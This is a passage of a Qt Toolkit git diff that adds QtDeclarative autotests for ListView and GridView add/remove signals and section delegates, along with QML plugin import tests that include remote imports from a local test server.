QList<QPair<QString, QString> > items; + for (int i=0; i<itemsToAdd; i++) + items << qMakePair(QString("value %1").arg(i), QString::number(i)); + model.addItems(items); + + qApp->processEvents(); + + QVariantList result = object->property("addedDelegates").toList(); + QCOMPARE(result.count(), items.count()); + for (int i=0; i<items.count(); i++) + QCOMPARE(result[i].toString(), items[i].first); + + delete canvas; +} + +void tst_QDeclarativeGridView::onAdd_data() +{ + QTest::addColumn<int>("initialItemCount"); + QTest::addColumn<int>("itemsToAdd"); + + QTest::newRow("0, add 1") << 0 << 1; + QTest::newRow("0, add 2") << 0 << 2; + QTest::newRow("0, add 10") << 0 << 10; + + QTest::newRow("1, add 1") << 1 << 1; + QTest::newRow("1, add 2") << 1 << 2; + QTest::newRow("1, add 10") << 1 << 10; + + QTest::newRow("5, add 1") << 5 << 1; + QTest::newRow("5, add 2") << 5 << 2; + QTest::newRow("5, add 10") << 5 << 10; +} + +void tst_QDeclarativeGridView::onRemove() +{ + QFETCH(int, initialItemCount); + QFETCH(int, indexToRemove); + QFETCH(int, removeCount); + + const int delegateWidth = 50; + const int delegateHeight = 100; + TestModel model; + for (int i=0; i<initialItemCount; i++) + model.addItem(QString("value %1").arg(i), "dummy value"); + + QDeclarativeView *canvas = createView(); + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + ctxt->setContextProperty("delegateWidth", delegateWidth); + ctxt->setContextProperty("delegateHeight", delegateHeight); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); + QObject *object = canvas->rootObject(); + + qApp->processEvents(); + + model.removeItems(indexToRemove, removeCount); + qApp->processEvents(); + QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount)); + + delete canvas; +} + +void tst_QDeclarativeGridView::onRemove_data() +{ + QTest::addColumn<int>("initialItemCount"); + QTest::addColumn<int>("indexToRemove"); + QTest::addColumn<int>("removeCount"); + + QTest::newRow("remove first") << 1 << 0 << 1; + QTest::newRow("two items, remove first") << 2 << 0 << 1; + QTest::newRow("two items, remove last") << 2 << 1 << 1; + QTest::newRow("two items, remove all") << 2 << 0 << 2; + + QTest::newRow("four items, remove first") << 4 << 0 << 1; + QTest::newRow("four items, remove 0-2") << 4 << 0 << 2; + QTest::newRow("four items, remove 1-3") << 4 << 1 << 2; + QTest::newRow("four items, remove 2-4") << 4 << 2 << 2; + QTest::newRow("four items, remove last") << 4 << 3 << 1; + QTest::newRow("four items, remove all") << 4 << 0 << 4; + + QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8; + QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5; + QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6; +} + void tst_QDeclarativeGridView::testQtQuick11Attributes() { QFETCH(QString, code); diff --git a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp index 5b214e6..6d35332 100644 --- a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp +++ b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp @@ -180,6 +180,10 @@ void tst_qdeclarativeimageprovider::fillRequestTestsData(const QString &id) << "image://test/" + fileName << fileName << "" << QSize(100,100) << ""; fileName = newImageFileName(); + QTest::newRow(QTest::toString(id + " simple test with capitalization"))//As it's a URL, should make no difference + << "image://Test/" + fileName << fileName << "" << QSize(100,100) << ""; + + fileName = newImageFileName(); QTest::newRow(QTest::toString(id + " url with no id")) << "image://test/" + fileName << "" + fileName << "" << QSize(100,100) << ""; diff --git a/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml new file mode 100644 index 0000000..5ca1a45 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml @@ -0,0 +1,24 @@ +import QtQuick 1.0 + +ListView { + id: view + width: 240; height: 320 + + property variant addedDelegates: [] + property int removedDelegateCount + + model: testModel + + delegate: Rectangle { + width: 200; height: delegateHeight + border.width: 1 + ListView.onAdd: { + var obj = ListView.view.addedDelegates + obj.push(model.name) + ListView.view.addedDelegates = obj + } + ListView.onRemove: { + view.removedDelegateCount += 1 + } + } +} diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml new file mode 100644 index 0000000..35a398b --- /dev/null +++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml @@ -0,0 +1,63 @@ +import QtQuick 1.0 + +Rectangle { + width: 240 + height: 320 + color: "#ffffff" + resources: [ + Component { + id: myDelegate + Item { + id: wrapper + objectName: "wrapper" + height: 20; + width: 240 + Rectangle { + height: 20 + width: parent.width + color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white" + Text { + text: index + } + Text { + x: 30 + id: textName + objectName: "textName" + text: name + } + Text { + x: 100 + id: textNumber + objectName: "textNumber" + text: number + } + Text { + objectName: "nextSection" + x: 150 + text: wrapper.ListView.nextSection + } + Text { + x: 200 + text: wrapper.y + } + } + } + } + ] + ListView { + id: list + objectName: "list" + width: 240 + height: 320 + model: testModel + delegate: myDelegate + section.property: "number" + section.delegate: Rectangle { + objectName: "sect_" + section + color: "#99bb99" + height: 20 + width: list.width + Text { text: section } + } + } +} diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index 86b68ca..f358625 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -90,6 +90,7 @@ private slots: void enforceRange(); void spacing(); void sections(); + void sectionsDelegate(); void cacheBuffer(); void positionViewAtIndex(); void resetModel(); @@ -108,6 +109,10 @@ private slots: void QTBUG_16037(); void indexAt(); void incrementalModel(); + void onAdd(); + void onAdd_data(); + void onRemove(); + void onRemove_data(); void testQtQuick11Attributes(); void testQtQuick11Attributes_data(); @@ -296,6 +301,13 @@ public: emit endInsertRows(); } + void addItems(const QList<QPair<QString, QString> > &items) { + emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1); + for (int i=0; i<items.count(); i++) + list.append(QPair<QString,QString>(items[i].first, items[i].second)); + emit endInsertRows(); + } + void insertItem(int index, const QString &name, const QString &number) { emit beginInsertRows(QModelIndex(), index, index); list.insert(index, QPair<QString,QString>(name, number)); @@ -1017,6 +1029,58 @@ void tst_QDeclarativeListView::sections() delete canvas; } +void tst_QDeclarativeListView::sectionsDelegate() +{ + QDeclarativeView *canvas = createView(); + + TestModel model; + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), QString::number(i/5)); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml")); + qApp->processEvents(); + + QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list"); + QTRY_VERIFY(listview != 0); + + QDeclarativeItem *contentItem = listview->contentItem(); + QTRY_VERIFY(contentItem != 0); + + // Confirm items positioned correctly + int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count(); + for (int i = 0; i < model.count() && i < itemCount; ++i) { + QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i); + QTRY_VERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20)); + QDeclarativeText *next = findItem<QDeclarativeText>(item, "nextSection"); + QCOMPARE(next->text().toInt(), (i+1)/5); + } + + for (int i = 0; i < 3; ++i) { + QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "sect_" + QString::number(i)); + QVERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20*6)); + } + + model.modifyItem(0, "One", "aaa"); + model.modifyItem(1, "Two", "aaa"); + model.modifyItem(2, "Three", "aaa"); + model.modifyItem(3, "Four", "aaa"); + model.modifyItem(4, "Five", "aaa"); + + for (int i = 0; i < 3; ++i) { + QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, + "sect_" + (i == 0 ? QString("aaa") : QString::number(i))); + QVERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20*6)); + } + + delete canvas; +} + void tst_QDeclarativeListView::currentIndex() { TestModel model; @@ -1612,7 +1676,7 @@ void tst_QDeclarativeListView::QTBUG_9791() // Confirm items positioned correctly int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count(); - QVERIFY(itemCount == 3); + QCOMPARE(itemCount, 3); for (int i = 0; i < itemCount; ++i) { QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i); @@ -1753,9 +1817,9 @@ void tst_QDeclarativeListView::header() header = findItem<QDeclarativeText>(contentItem, "header2"); QVERIFY(header); - QCOMPARE(header->y(), 0.0); + QCOMPARE(header->y(), 10.0); QCOMPARE(header->height(), 10.0); - QCOMPARE(listview->contentY(), 0.0); + QCOMPARE(listview->contentY(), 10.0); delete canvas; } @@ -1829,7 +1893,7 @@ void tst_QDeclarativeListView::footer() footer = findItem<QDeclarativeText>(contentItem, "footer2"); QVERIFY(footer); - QCOMPARE(footer->y(), 0.0); + QCOMPARE(footer->y(), 600.0); QCOMPARE(footer->height(), 20.0); QCOMPARE(listview->contentY(), 0.0); @@ -2089,6 +2153,113 @@ void tst_QDeclarativeListView::incrementalModel() delete canvas; } +void tst_QDeclarativeListView::onAdd() +{ + QFETCH(int, initialItemCount); + QFETCH(int, itemsToAdd); + + const int delegateHeight = 10; + TestModel2 model; + + // these initial items should not trigger ListView.onAdd + for (int i=0; i<initialItemCount; i++) + model.addItem("dummy value", "dummy value"); + + QDeclarativeView *canvas = createView(); + canvas->setFixedSize(200, delegateHeight * (initialItemCount + itemsToAdd)); + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + ctxt->setContextProperty("delegateHeight", delegateHeight); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); + + QObject *object = canvas->rootObject(); + object->setProperty("width", canvas->width()); + object->setProperty("height", canvas->height()); + qApp->processEvents(); + + QList<QPair<QString, QString> > items; + for (int i=0; i<itemsToAdd; i++) + items << qMakePair(QString("value %1").arg(i), QString::number(i)); + model.addItems(items); + + qApp->processEvents(); + + QVariantList result = object->property("addedDelegates").toList(); + QCOMPARE(result.count(), items.count()); + for (int i=0; i<items.count(); i++) + QCOMPARE(result[i].toString(), items[i].first); + + delete canvas; +} + +void tst_QDeclarativeListView::onAdd_data() +{ + QTest::addColumn<int>("initialItemCount"); + QTest::addColumn<int>("itemsToAdd"); + + QTest::newRow("0, add 1") << 0 << 1; + QTest::newRow("0, add 2") << 0 << 2; + QTest::newRow("0, add 10") << 0 << 10; + + QTest::newRow("1, add 1") << 1 << 1; + QTest::newRow("1, add 2") << 1 << 2; + QTest::newRow("1, add 10") << 1 << 10; + + QTest::newRow("5, add 1") << 5 << 1; + QTest::newRow("5, add 2") << 5 << 2; + QTest::newRow("5, add 10") << 5 << 10; +} + +void tst_QDeclarativeListView::onRemove() +{ + QFETCH(int, initialItemCount); + QFETCH(int, indexToRemove); + QFETCH(int, removeCount); + + const int delegateHeight = 10; + TestModel2 model; + for (int i=0; i<initialItemCount; i++) + model.addItem(QString("value %1").arg(i), "dummy value"); + + QDeclarativeView *canvas = createView(); + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + ctxt->setContextProperty("delegateHeight", delegateHeight); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); + QObject *object = canvas->rootObject(); + + qApp->processEvents(); + + model.removeItems(indexToRemove, removeCount); + qApp->processEvents(); + QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount)); + + delete canvas; +} + +void tst_QDeclarativeListView::onRemove_data() +{ + QTest::addColumn<int>("initialItemCount"); + QTest::addColumn<int>("indexToRemove"); + QTest::addColumn<int>("removeCount"); + + QTest::newRow("remove first") << 1 << 0 << 1; + QTest::newRow("two items, remove first") << 2 << 0 << 1; + QTest::newRow("two items, remove last") << 2 << 1 << 1; + QTest::newRow("two items, remove all") << 2 << 0 << 2; + + QTest::newRow("four items, remove first") << 4 << 0 << 1; + QTest::newRow("four items, remove 0-2") << 4 << 0 << 2; + QTest::newRow("four items, remove 1-3") << 4 << 1 << 2; + QTest::newRow("four items, remove 2-4") << 4 << 2 << 2; + QTest::newRow("four items, remove last") << 4 << 3 << 1; + QTest::newRow("four items, remove all") << 4 << 0 << 4; + + QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8; + QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5; + QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6; +} + void tst_QDeclarativeListView::testQtQuick11Attributes() { QFETCH(QString, code); diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml new file mode 100644 index 0000000..a9e28e5 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml @@ -0,0 +1,3 @@ +import com.nokia.AutoTestPluginWithQmlFile 1.0 + +MyQmlFile {} diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml new file mode 100644 index 0000000..cc322bf --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml @@ -0,0 +1,3 @@ +import com.nokia.AutoTestQmlPluginType 2.0 + +MyPluginType { valueOnlyIn2: 123 } diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml new file mode 100644 index 0000000..c08160a --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml @@ -0,0 +1,3 @@ +import com.nokia.AutoTestQmlPluginType 2.1 + +MyPluginType { valueOnlyIn2: 123 } diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml new file mode 100644 index 0000000..18dcd26 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml @@ -0,0 +1,3 @@ +import QtQuick 1.0 + +Item {}
\ No newline at end of file diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir new file mode 100644 index 0000000..858ba14 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir @@ -0,0 +1,3 @@ +MyQmlFile 1.0 MyQmlFile.qml +plugin pluginWithQmlFile + diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir new file mode 100644 index 0000000..0a8b5d4 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir @@ -0,0 +1 @@ +plugin plugin diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir new file mode 100644 index 0000000..0a8b5d4 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir @@ -0,0 +1 @@ +plugin plugin diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml new file mode 100644 index 0000000..49613aa --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml @@ -0,0 +1,3 @@ +import QtQuick 1.0 + +Item {} diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml new file mode 100644 index 0000000..f19a336 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml @@ -0,0 +1,4 @@ +import QtQuick 1.0 + +Item {} + diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir new file mode 100644 index 0000000..167bb10 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir @@ -0,0 +1,3 @@ +ComponentA 1.0 ComponentA.qml +ComponentB 1.0 ComponentB.qml + diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro new file mode 100644 index 0000000..661675a --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro @@ -0,0 +1,9 @@ +TEMPLATE = lib +CONFIG += plugin +SOURCES = plugin.cpp +QT = core declarative +DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2.1 + +symbian: { + TARGET.EPOCALLOWDLLDATA=1 +} diff --git a/tools/qdoc3/archiveextractor.h b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp index d6a64f5..1ae2bd4 100644 --- a/tools/qdoc3/archiveextractor.h +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the tools applications of the Qt Toolkit. +** This file is part of the test suite of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage @@ -38,41 +38,47 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include <QStringList> +#include <QtDeclarative/qdeclarativeextensionplugin.h> +#include <QtDeclarative/qdeclarative.h> +#include <QDebug> -/* - archiveextractor.h -*/ +class MyPluginType : public QObject +{ + Q_OBJECT + Q_PROPERTY(int value READ value WRITE setValue) + Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue) -#ifndef ARCHIVEEXTRACTOR_H -#define ARCHIVEEXTRACTOR_H +public: + MyPluginType(QObject *parent=0) : QObject(parent) + { + qWarning("import2.1 worked"); + } -#include <qstringlist.h> + int value() const { return v; } + void setValue(int i) { v = i; } -#include "location.h" +private: + int v; +}; -QT_BEGIN_NAMESPACE -class ArchiveExtractor +class MyPlugin : public QDeclarativeExtensionPlugin { + Q_OBJECT public: - ArchiveExtractor( const QStringList& extensions ); - virtual ~ArchiveExtractor(); - - virtual void extractArchive( const Location& location, - const QString& filePath, - const QString& outputDir ) = 0; - - static ArchiveExtractor *extractorForFileName( const QString& fileName ); - -protected: - const QStringList& fileExtensions() { return fileExts; } - -private: - QStringList fileExts; + MyPlugin() + { + qWarning("plugin2.1 created"); + } - static QList<ArchiveExtractor *> extractors; + void registerTypes(const char *uri) + { + Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType"); + qmlRegisterType<MyPluginType>(uri, 2, 1, "MyPluginType"); + } }; -QT_END_NAMESPACE +#include "plugin.moc" -#endif +Q_EXPORT_PLUGIN2(plugin, MyPlugin); diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro new file mode 100644 index 0000000..d254642 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro @@ -0,0 +1,9 @@ +TEMPLATE = lib +CONFIG += plugin +SOURCES = plugin.cpp +QT = core declarative +DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2 + +symbian: { + TARGET.EPOCALLOWDLLDATA=1 +} diff --git a/tools/qdoc3/mangenerator.h b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp index cab2f24..6bd8542 100644 --- a/tools/qdoc3/mangenerator.h +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the tools applications of the Qt Toolkit. +** This file is part of the test suite of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage @@ -38,42 +38,47 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include <QStringList> +#include <QtDeclarative/qdeclarativeextensionplugin.h> +#include <QtDeclarative/qdeclarative.h> +#include <QDebug> -/* - mangenerator.h -*/ +class MyPluginType : public QObject +{ + Q_OBJECT + Q_PROPERTY(int value READ value WRITE setValue) + Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue) + +public: + MyPluginType(QObject *parent=0) : QObject(parent) + { + qWarning("import2 worked"); + } -#ifndef MANGENERATOR_H -#define MANGENERATOR_H + int value() const { return v; } + void setValue(int i) { v = i; } -#include "pagegenerator.h" +private: + int v; +}; -QT_BEGIN_NAMESPACE -class ManGenerator : public PageGenerator +class MyPlugin : public QDeclarativeExtensionPlugin { + Q_OBJECT public: - ManGenerator(); - ~ManGenerator(); - - virtual QString format(); - -protected: - virtual int generateAtom( const Atom *atom, const Node *relative, - CodeMarker *marker ); - virtual void generateClassLikeNode(const InnerNode *node, CodeMarker *marker); - virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - virtual QString fileExtension(const Node *node) const; - -private: - void generateHeader( const QString& name ); - void generateFooter(); - QString protectArg( const QString& str ); - QString protectTextLine( const QString& str ); + MyPlugin() + { + qWarning("plugin2 created"); + } - QString date; + void registerTypes(const char *uri) + { + Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType"); + qmlRegisterType<MyPluginType>(uri, 2, 0, "MyPluginType"); + } }; -QT_END_NAMESPACE +#include "plugin.moc" -#endif +Q_EXPORT_PLUGIN2(plugin, MyPlugin); diff --git a/tools/qdoc3/apigenerator.h b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp index c2dbde1..20e2d80 100644 --- a/tools/qdoc3/apigenerator.h +++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the tools applications of the Qt Toolkit. +** This file is part of the test suite of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** No Commercial Usage @@ -38,28 +38,21 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include <QStringList> +#include <QtDeclarative/qdeclarativeextensionplugin.h> +#include <QtDeclarative/qdeclarative.h> +#include <QDebug> -#ifndef APIGENERATOR_H -#define APIGENERATOR_H - -#include <QTextStream> - -#include "generator.h" - -QT_BEGIN_NAMESPACE - -class ApiGenerator : public Generator +class MyPlugin : public QDeclarativeExtensionPlugin { + Q_OBJECT public: - QString format(); - void generateTree(const Tree *tree, CodeMarker *marker); - -private: - void generateNode(const Node *node, CodeMarker *marker, int indent = 0); - - QTextStream out; + void registerTypes(const char *uri) + { + Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestPluginWithQmlFile"); + } }; -QT_END_NAMESPACE +#include "plugin.moc" -#endif +Q_EXPORT_PLUGIN2(plugin, MyPlugin); diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro new file mode 100644 index 0000000..aa9c95c --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro @@ -0,0 +1,9 @@ +TEMPLATE = lib +CONFIG += plugin +SOURCES = plugin.cpp +QT = core declarative +DESTDIR = ../imports/com/nokia/AutoTestPluginWithQmlFile + +symbian: { + TARGET.EPOCALLOWDLLDATA=1 +} diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro index 221e465..9d0e94e 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro +++ b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro @@ -1,6 +1,6 @@ QT = core TEMPLATE = subdirs -SUBDIRS = plugin pluginWrongCase +SUBDIRS = plugin plugin.2 plugin.2.1 pluginWrongCase pluginWithQmlFile tst_qdeclarativemoduleplugin_pro.depends += plugin SUBDIRS += tst_qdeclarativemoduleplugin.pro diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp index 96ec21b..9ec0f84 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp +++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp @@ -44,6 +44,13 @@ #include <QtDeclarative/qdeclarativecomponent.h> #include <QDebug> +#include "../shared/testhttpserver.h" +#include "../../../shared/util.h" + +#define SERVER_ADDR "http://127.0.0.1:14450" +#define SERVER_PORT 14450 + + class tst_qdeclarativemoduleplugin : public QObject { Q_OBJECT @@ -54,7 +61,12 @@ public: private slots: void importsPlugin(); + void importsPlugin2(); + void importsPlugin21(); void incorrectPluginCase(); + void importPluginWithQmlFile(); + void remoteImportWithQuotedUrl(); + void remoteImportWithUnquotedUri(); }; #ifdef Q_OS_SYMBIAN @@ -121,6 +133,38 @@ void tst_qdeclarativemoduleplugin::importsPlugin() delete object; } +void tst_qdeclarativemoduleplugin::importsPlugin2() +{ + QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); + QTest::ignoreMessage(QtWarningMsg, "plugin2 created"); + QTest::ignoreMessage(QtWarningMsg, "import2 worked"); + QDeclarativeComponent component(&engine, TEST_FILE("data/works2.qml")); + foreach (QDeclarativeError err, component.errors()) + qWarning() << err; + VERIFY_ERRORS(0); + QObject *object = component.create(); + QVERIFY(object != 0); + QCOMPARE(object->property("value").toInt(),123); + delete object; +} + +void tst_qdeclarativemoduleplugin::importsPlugin21() +{ + QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); + QTest::ignoreMessage(QtWarningMsg, "plugin2.1 created"); + QTest::ignoreMessage(QtWarningMsg, "import2.1 worked"); + QDeclarativeComponent component(&engine, TEST_FILE("data/works21.qml")); + foreach (QDeclarativeError err, component.errors()) + qWarning() << err; + VERIFY_ERRORS(0); + QObject *object = component.create(); + QVERIFY(object != 0); + QCOMPARE(object->property("value").toInt(),123); + delete object; +} + void tst_qdeclarativemoduleplugin::incorrectPluginCase() { QDeclarativeEngine engine; @@ -145,6 +189,63 @@ void tst_qdeclarativemoduleplugin::incorrectPluginCase() QCOMPARE(errors.at(0).description(), expectedError); } +void tst_qdeclarativemoduleplugin::importPluginWithQmlFile() +{ + QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); + QDeclarativeComponent component(&engine, TEST_FILE("data/pluginWithQmlFile.qml")); + foreach (QDeclarativeError err, component.errors()) + qWarning() << err; + VERIFY_ERRORS(0); + QObject *object = component.create(); + QVERIFY(object != 0); + delete object; +} + +void tst_qdeclarativemoduleplugin::remoteImportWithQuotedUrl() +{ + TestHTTPServer server(SERVER_PORT); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/imports"); + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine); + component.setData("import \"http://127.0.0.1:14450/com/nokia/PureQmlModule\" \nComponentA { width: 300; ComponentB{} }", QUrl()); + + QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready); + QObject *object = component.create(); + QCOMPARE(object->property("width").toInt(), 300); + QVERIFY(object != 0); + delete object; + + foreach (QDeclarativeError err, component.errors()) + qWarning() << err; + VERIFY_ERRORS(0); +} + +void tst_qdeclarativemoduleplugin::remoteImportWithUnquotedUri() +{ + TestHTTPServer server(SERVER_PORT); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/imports"); + + QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); + QDeclarativeComponent component(&engine); + component.setData("import com.nokia.PureQmlModule 1.0 \nComponentA { width: 300; ComponentB{} }", QUrl()); + + + QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready); + QObject *object = component.create(); + QVERIFY(object != 0); + QCOMPARE(object->property("width").toInt(), 300); + delete object; + + foreach (QDeclarativeError err, component.errors()) + qWarning() << err; + VERIFY_ERRORS(0); +} + 